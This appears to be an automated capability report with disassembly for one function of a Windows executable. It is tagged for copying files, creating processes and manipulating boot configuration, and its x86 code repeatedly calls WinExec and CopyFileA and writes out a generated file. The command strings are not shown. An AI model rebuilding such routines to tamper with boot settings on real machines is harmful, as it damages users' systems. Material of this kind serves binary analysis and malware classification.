Function at 0x513940
Capabilities:
Copy file
Create process on windows
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x513948
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x513ef2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x513ecd
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0051350c
test al, al
je 0x513984
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x513ed7
lea edx, [ebp - 8]
mov eax, dword [0x559800]
mov eax, dword [eax]
call fcn.004917a8
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.004094c8
mov dl, 1
mov eax, dword [0x417bc0]
call fcn.0040337c
mov esi, eax
mov dl, 1
mov eax, dword [0x417bc0]
call fcn.0040337c
mov edi, eax
lea eax, [ebp - 0xc]
mov ecx, 0x513f08
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0xc]
call fcn.00409288
test al, al
jne 0x5139ff
lea eax, [ebp - 0x10]
mov ecx, 0x513f1c
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x10]
call fcn.00409288
test al, al
jne 0x5139ff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x513ed7
push 0
push 0x513f24
call sub.kernel32.dll_WinExec
push 0
push 0x513f40
call sub.kernel32.dll_WinExec
push 0
push 0x513f5c
call sub.kernel32.dll_WinExec
push 0
push 0x513f78
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x14]
mov ecx, 0x513f9c
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x14]
call fcn.00409288
test al, al
jne 0x513a77
push 0
lea eax, [ebp - 0x18]
mov ecx, 0x513fb0
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x18]
call fcn.004046a0
push eax
call sub.kernel32.dll_WinExec
push 0xbb8
call sub.kernel32.dll_Sleep_1
jmp 0x513a81
push 0x12c
call sub.kernel32.dll_Sleep_1
mov eax, 0x513fd0
call fcn.00409288
test al, al
je 0x513aa0
push 0
push 0x513fdc
push 0x513fec
call sub.kernel32.dll_CopyFileA
mov eax, 0x514000
call fcn.00409288
test al, al
je 0x513abf
push 0
push 0x51400c
push 0x51401c
call sub.kernel32.dll_CopyFileA
mov eax, 0x514030
call fcn.00409288
test al, al
jne 0x513b0e
lea eax, [ebp - 0x1c]
mov ecx, 0x513f1c
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x1c]
call fcn.00409288
test al, al
je 0x513b0e
push 0
push 0x51403c
lea eax, [ebp - 0x20]
mov ecx, 0x513f1c
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x20]
call fcn.004046a0
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x514050
call fcn.00409288
test al, al
jne 0x513b5d
lea eax, [ebp - 0x24]
mov ecx, 0x513f9c
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x24]
call fcn.00409288
test al, al
je 0x513b5d
push 0
push 0x51405c
lea eax, [ebp - 0x28]
mov ecx, 0x513f9c
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x28]
call fcn.004046a0
push eax
call sub.kernel32.dll_CopyFileA
xor ebx, ebx
mov eax, 0x513fd0
call fcn.00409288
test al, al
je 0x513bbd
mov edx, 0x513fd0
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x68]
lea edx, [ebp - 0x30]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x30]
lea edx, [ebp - 0x2c]
call fcn.0040863c
mov edx, dword [ebp - 0x2c]
mov eax, 0x514070
call fcn.004047e4
test eax, eax
jle 0x513ba3
mov bl, 1
jmp 0x513bbd
mov edx, 0x514084
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x513fd0
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x74]
xor ebx, ebx
mov eax, 0x514000
call fcn.00409288
test al, bl
je 0x513c3c
mov edx, 0x514000
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x68]
mov edx, 0x5140a4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140e8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514110
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514134
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514148
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514164
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514000
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x74]
jmp 0x513e6d
mov edx, 0x514180
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514194
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5141a8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5141d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
xor edx, edx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5141e4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140e8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514110
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514134
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514148
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514164
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140a4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51421c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514250
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514268
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514280
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514298
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5142b8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5142c8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5142e8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514300
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514330
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514354
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140a4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514374
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5143a0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5143b4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5142e8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5143cc
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5143f0
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514134
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514408
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5142b8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140a4
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514424
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51443c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x5140d8
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x51444c
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514464
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x38]
mov edx, 0x514000
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x74]
push 0
push 0x51446c
call sub.kernel32.dll_WinExec
push 0
push 0x514488
call sub.kernel32.dll_WinExec
push 0
push 0x5144a4
call sub.kernel32.dll_WinExec
push 0
push 0x5144c0
call sub.kernel32.dll_WinExec
push 0
push 0x5144dc
call sub.kernel32.dll_WinExec
push 0
push 0x5144fc
call sub.kernel32.dll_WinExec
mov eax, esi
call fcn.004033ac
mov eax, edi
call fcn.004033ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x513ed7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x513ef9
lea eax, [ebp - 0x30]
mov edx, 0xc
call fcn.00404204
ret